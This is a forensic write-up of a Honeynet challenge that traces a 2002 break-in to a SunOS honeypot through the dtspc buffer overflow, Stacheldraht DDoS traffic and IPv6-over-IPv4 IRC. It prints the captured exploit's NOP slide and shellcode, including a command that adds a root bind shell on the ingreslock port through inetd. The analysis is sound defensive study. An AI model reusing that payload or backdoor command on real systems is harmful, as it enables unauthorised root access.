Introduction
Questions
Answers
Tools & References

INTRODUCTION:

Members of the AT&T Mexico Honeynet captured a unique attack. As common, what is interesting is not how the attackers broke in, but what they did afterwards. Your mission is to analyze the network capture of the attacker's activity and decode the attacker's actions. There are two binary log files. Day1 captured the break in, Day3 captures some unique activity following the compromise.

After downloading the two files, and checking that the md5 checksums where equal as the ones provided, I proceeded to feed the logs to snort and inspect the output.

E:\snort>snort -l e:\HoneyNet\mayo2003\logsday1 -r e:\HoneyNet\mayo2003\day1.log -c .\snort.conf

E:\snort>snort -l e:\HoneyNet\mayo2003\logsday3 -r e:\HoneyNet\mayo2003\day3.log -c .\snort.conf

Since my snort configuration logs to a mySql database, I can get all the alerts in single query. This as well allows for a cleaner view of the events sequence.

SELECT a2.sig_name, inet_ntoa(a3.ip_src), inet_ntoa(a3.ip_dst),a1.timestamp
FROM event a1, iphdr a3, signature a2
WHERE a1.sid = 1 AND a1.cid = a3.cid AND a1.signature = a2.sig_id
GROUP BY a1.timestamp

Armed with this information, Ethereal, p0f and Google, I'm ready to start answering the questions.

QUESTIONS:

1. What is the operating system of the honeypot? How did you determine that? (see day1)
2. How did the attacker(s) break into the system? (see day1)
3. Which systems were used in this attack, and how?(see day1)
4. Create a diagram that demonstrates the sequences involved in the attack. (see day1)
5. What is the purpose/reason of the ICMP packets with 'skillz' in them? (see day1)

Following the attack, the attacker(s) enabled a unique protocol that one would not expect to find on a n IPv4 network.
6. Can you identify that protocol and why it was used? (see day3)
7. Can you identify the nationality of the attacker? (see day3)

Bonus Question:
What are the implications of using the unusual IP protocol to the Intrusion Detection industry?
What tools exist that can decode this protocol?

ANSWERS

1. What is the operating system of the honeypot? How did you determine that? (see day1)

All the information I have is contained in the log files. With it and some knowledge of passive OS detection, the system installed in the honeypot can be determined. Or we can simply use p0f.

The out put from p0f is:

<Tue May 20 12:12:23 2003> 192.168.100.28 [1 hops]: SunOS 5.8
+ 192.168.100.28:32783 -> 62.211.66.16:21

This is in agreement on what the machine publishes in a banner answering to a dtspc connection request, at frame 571

//.SPC_AAAVTaqDd 1000 zoberius:SunOS:5.8:sun4u

Having two independent sources telling us that that os is SunOS is a reasonable assurance, so the honey pot is running SunOS 5.8.

2. How did the attacker(s) break into the system? (see day1)

Looking into the alerts database immediately stands out the warning of a NOP slide. This is an unequivocal sign of intrusion attempt.

'SCAN Proxy (8080) attempt','61.144.145.243','192.168.100.28','2002-11-29 13:25:08'
'SCAN Proxy (8080) attempt','61.144.145.243','192.168.100.28','2002-11-29 13:25:09'
'SCAN Proxy (8080) attempt','61.144.145.243','192.168.100.28','2002-11-29 13:25:10'
'SHELLCODE sparc NOOP','61.219.90.180','192.168.100.28','2002-11-29 16:36:26'
'ICMP Destination Unreachable (Port Unreachable)','148.244.153.69','192.168.100.28','2002-11-29 16:47:09'
'ICMP Destination Unreachable (Port Unreachable)','148.244.153.69','192.168.100.28','2002-11-29 16:49:57'
'DDOS Stacheldraht agent->handler (skillz)','192.168.100.28','217.116.38.10','2002-11-29 16:59:52'
'DDOS Stacheldraht agent->handler (skillz)','192.168.100.28','61.134.3.11','2002-11-29 17:00:01'

What is clear as well is that the intrusion was successful since there is a well known Trojan horse ("Stacheldraht") sending information from the honeypot barely 13 minutes after the NOOP slide.

The complete snort alert is:

[**] [1:645:3] SHELLCODE sparc NOOP [**]
[Classification: Executable code was detected] [Priority: 1]
11/29-17:36:26.503382 61.219.90.180:56711 -> 192.168.100.28:6112
TCP TTL:44 TOS:0x0 ID:61373 IpLen:20 DgmLen:1500 DF
***A**** Seq: 0x7FC1DB88 Ack: 0xBA41EB06 Win: 0x16D0 TcpLen: 32
TCP Options (3) => NOP NOP TS: 48510034 113867474
[Xref => arachnids 353]

Inspecting around this event with ethereal reveals the whole attack sequence, and a search for SunOS vulnerabilities in the dtspc service yields some very interesting pointers to a well known buffer overflow vulnerability released on November 12, 2001.

CERT® Advisory CA-2001-31 Buffer Overflow in CDE Subprocess Control Service
http://www.cert.org/advisories/CA-2001-31.html

The attacker exploited this vulnerability, as can be seen in the second connection to the dtspc port( see question #4 ).
The following is the stream reconstructed( and edited for comfortable viewing). It shows clearly the Noop slide and the shell code immediately after, waiting to be executed.

30 30 30 30 30 30 30 32 30 34 31 30 33 65 30 30 0000000204103e00
30 33 20 20 34 20 00 00 00 31 30 00 80 1C 40 11 03 4 ...10.€.@.
80 1C 40 11 10 80 01 01 80 1C 40 11 80 1C 40 11 €.@..€..€.@.€.@. Noop slide
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 €.@.€.@.€.@.€.@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 €.@.€.@.€.@.€.@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 €.@.€.@.€.@.€.@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 €.@.€.@.€.@.€.@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 €.@.€.@.€.@.€.@.

...

80 1C 40 11 80 1C 40 11 80 1C 40 11 80 1C 40 11 €.@.€.@.€.@.€.@.
80 1C 40 11 80 1C 40 11 80 1C 40 11 20 BF FF FF €.@.€.@.€.@. ¿ÿÿ
20 BF FF FF 7F FF FF FF 90 03 E0 34 92 23 E0 20 ¿ÿÿÿÿÿ.à4’#à
A2 02 20 0C A4 02 20 10 C0 2A 20 08 C0 2A 20 0E ¢. .¤. .À* .À* .
D0 23 FF E0 E2 23 FF E4 E4 23 FF E8 C0 23 FF EC Ð#ÿàâ#ÿää#ÿèÀ#ÿì
82 10 20 0B 91 D0 20 08 2F 62 69 6E 2F 6B 73 68 ‚. .‘Ð ./bin/ksh Shell code
20 20 20 20 2D 63 20 20 65 63 68 6F 20 22 69 6E -c echo "in
67 72 65 73 6C 6F 63 6B 20 73 74 72 65 61 6D 20 greslock stream
74 63 70 20 6E 6F 77 61 69 74 20 72 6F 6F 74 20 tcp nowait root
2F 62 69 6E 2F 73 68 20 73 68 20 2D 69 22 3E 2F /bin/sh sh -i">/
74 6D 70 2F 78 3B 2F 75 73 72 2F 73 62 69 6E 2F tmp/x;/usr/sbin/
69 6E 65 74 64 20 2D 73 20 2F 74 6D 70 2F 78 3B inetd -s /tmp/x;
73 6C 65 65 70 20 31 30 3B 2F 62 69 6E 2F 72 6D sleep 10;/bin/rm
20 2D 66 20 2F 74 6D 70 2F 78 20 41 41 41 41 41 -f /tmp/x AAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

...

41 41 41 41 00 00 10 3E 00 00 00 14 42 42 42 42 AAAA...>....BBBB
FF FF FF FF 00 00 0F F4 43 43 43 43 00 02 C5 EC ÿÿÿÿ...ôCCCC..Åì
44 44 44 44 FF FF FF FF 45 45 45 45 46 46 46 46 DDDDÿÿÿÿEEEEFFFF
47 47 47 47 FF 23 CA 0C 42 42 42 42 42 42 42 42 GGGGÿ#Ê.BBBBBBBB
42 42 BB

3. Which systems were used in this attack, and how?(see day1)

To answer this question, the snort log has to be reviewed again. The first tree entries alert of a possible scan , and the fourth alerts of the actual intrusion.

'SCAN Proxy (8080) attempt','61.144.145.243','192.168.100.28','2002-11-29 13:25:08'
'SCAN Proxy (8080) attempt','61.144.145.243','192.168.100.28','2002-11-29 13:25:09'
'SCAN Proxy (8080) attempt','61.144.145.243','192.168.100.28','2002-11-29 13:25:10'
'SHELLCODE sparc NOOP','61.219.90.180','192.168.100.28','2002-11-29 16:36:26'
'ICMP Destination Unreachable (Port Unreachable)','148.244.153.69','192.168.100.28','2002-11-29 16:47:09'
'ICMP Destination Unreachable (Port Unreachable)','148.244.153.69','192.168.100.28','2002-11-29 16:49:57'
'DDOS Stacheldraht agent->handler (skillz)','192.168.100.28','217.116.38.10','2002-11-29 16:59:52'
'DDOS Stacheldraht agent->handler (skillz)','192.168.100.28','61.134.3.11','2002-11-29 17:00:01'

A possible scenario would be for the attacker to surveyl the system and a few hours later come back and break in the machine using the information gathered. With this theory in mind, I looked up the ip addresses involved in the net scan and the ip from which the black hat entered.

whois -h whois.apnic.net 61.144.145.243 ...
% [whois.apnic.net node-2]
% How to use this server http://www.apnic.net/db/
% Whois data copyright terms http://www.apnic.net/db/dbcopyright.html
inetnum: 61.144.0.0 - 61.144.255.255
netname: CHINANET-GD
descr: CHINANET Guangdong province network
descr: Data Communication Division
descr: China Telecom

whois -h whois.twnic.net 61.219.90.180 ...
Su, Yi Chun
No.37-24, Yu Ying Rd.
Changhua County Taiwan
TW

Netname: SU-YI-CHUN-NET
Netblock: 61.219.90.128 - 61.219.90.191
Administrator contact:
Yi Chun Su (YCS65-TW) mis@taiwang.org
TEL: +886-9-23-289293
Technical contact:
Yi Chun Su (YCS65-TW) mis@taiwang.org
TEL: +886-9-23-289293

Both ips are located in the same region, this misled me to think that both events where related to each other, but inspecting the ports scanned shows that port 6112 was not probed. This discards 61.144.145.243 as suspect in this intrusion.

What is obvious is that 61.219.90.191 participated, and later on the honeypot tries to contact repeatedly with 61.134.3.11 and 217.116.38.10, these, I believe, are handlers of a network of compromised machines.

4. Create a diagram that demonstrates the sequences involved in the attack. (see day1)

The system was compromised with four connections and in a total time of less than 13 seconds.

5. What is the purpose/reason of the ICMP packets with 'skillz' in them? (see day1)

At first this ICMP packets look as simple connection less information packets. The pay load of the packet is a bunch of zeroes and the word 'skilz'. And they don't seem to generate any reaction from other machines.

They do pop a snort alert though:

[**] [1:1855:2] DDOS Stacheldraht agent->handler (skillz) [**]
[Classification: Attempted Denial of Service] [Priority: 2]
11/29-17:59:52.338046 192.168.100.28 -> 217.116.38.10
ICMP TTL:255 TOS:0x0 ID:16475 IpLen:20 DgmLen:1044 DF
Type:0 Code:0 ID:6666 Seq:0 ECHO REPLY
[Xref => url staff.washington.edu/dittrich/misc/stacheldraht.analysis]

The link provided dercribes a program called Stacheldraht.
Quoting their description of this ICMP packet:

"Once the agent has determined a list of potential handlers, it then starts at the beginning of the list of handlers and sends an ICMP_ECHOREPLY packet with an ID field containing the value 666 and data field containing the string "skillz". If the master gets this packet, it sends back an ICMP_ECHOREPLY packet with an ID field containing the value 667 and data field containing the string "ficken". (It should be noted that there appears to be a bug that makes the handler and agent send out some large, e.g., >1000 byte, packets. The handler and agent continue periodically sending these 666|skillz / 667|ficken packets back and forth. This would be one way of detecting agents/masters by passively monitoring these ICMP packets.)"

Following the attack, the attacker(s) enabled a unique protocol that one would not expect to find on a n IPv4 network.
6. Can you identify that protocol and why it was used? (see day3)

At first this got me a bit puzzled. Snort did not report anything that could be considered as unexpected IPv4 traffic. So I decided to look into the log files with ethereal.

This reveals IPv6 traffic tunneled over IPv4. This is being used to connect to an IRC server in a IPv6 network.
The reason the intruder decided to use such an odd combination could be to bypass IDS systems and firewalls.
I'm not an expert in the IDS industry, but my bet is that the current implementation of IPv6 filters is limited an experimental in most systems.

Regardless of the added stealthiness, I have the suspicion that the attacker decided to setup the IPv6 tunnel jut to brag to his friends in IRC.

My knowledge of Italian is very limited, but what I think I've managed to translate the conversation maintained in IRC using IPv6 tunneled trough IPv4: (if I got it wrong please drop me a line, my Italian is what I can gather from Spanish)

:Nev`PenSa:ma dove l'ha fatto quel v6?
"but where have you made those v6?"

:su una shell :P
"in a shell :P"

:Nev`PenSa:????????????????
:Nev`PenSa: stai skerzando spero
"but you are ?? I hope" (babel fish did not understand skerzando)

:no
"no"

:Nev`PenSa:ke ha fatto una shell
:Nev`PenSa:e l'ha messa v6??
"what, you made a shell
and you did it in v6??"


:l'ho fatta ioo v6 :)
:p
"I have made v6 :)
:p"

7. Can you identify the nationality of the attacker? (see day3)

Given that the attacker speaks in Italian in an Italian IRC server and that he uses an Italian dsl provider, everything points to Italy. He (or she) even mentions something about going to Aropoli, which is a village 50Km away from Salerno.
My bet is that the attacker is Italian, but you never know, he could be from Yugoslavia with Italian friends.

Bonus Question:
What are the implications of using the unusual IP protocol to the Intrusion Detection industry?
What tools exist that can decode this protocol?

As I said before, I'm far from being an expert in IDS systems, but with the current experimental state of IPv6, the implementation of IPv6 analysis tools I would think is experimental as well. This makes any production site unable to determine if IPv6 traffic is legitimate or not. If the network can block all the IPv6 over IPv4 traffic, then the problem is solved. But if coexistence is needed, then powerful tools that are able to unpack the IPv6 datagrams and decode them are in urgent need.

To my knowledge, snort has an experimental ipv6 module, but is is so primitive that is not capable to look into the packet addresses or to be used within the rules language.
Ethereal is capable to inspect and decode the whole package, but again it is only a network analyzer, not an IDS.

TOOLS & REFERENCES

Ethereal
Network analyzer

Snort with mySQL support
IDS system with built in support for mySQL.

Sam spade tools
Ping, Whois, DNS, dig, trace tools integrated in one unified GUI.

Advisory for the vulnerability exploited:
http://www.cert.org/advisories/CA-2001-31.html

Paper analyzing the vulnerability:
http://www.giac.org/practical/David_Childs_GCIH.doc

Reference given by snort about the DDOS tool used:
staff.washington.edu/dittrich/misc/stacheldraht.analysis

Paper about IPv6 tunneling over IPv4:
http://www.cisco.com/warp/public/759/ipj_3-1/ipj_3-1_routing.html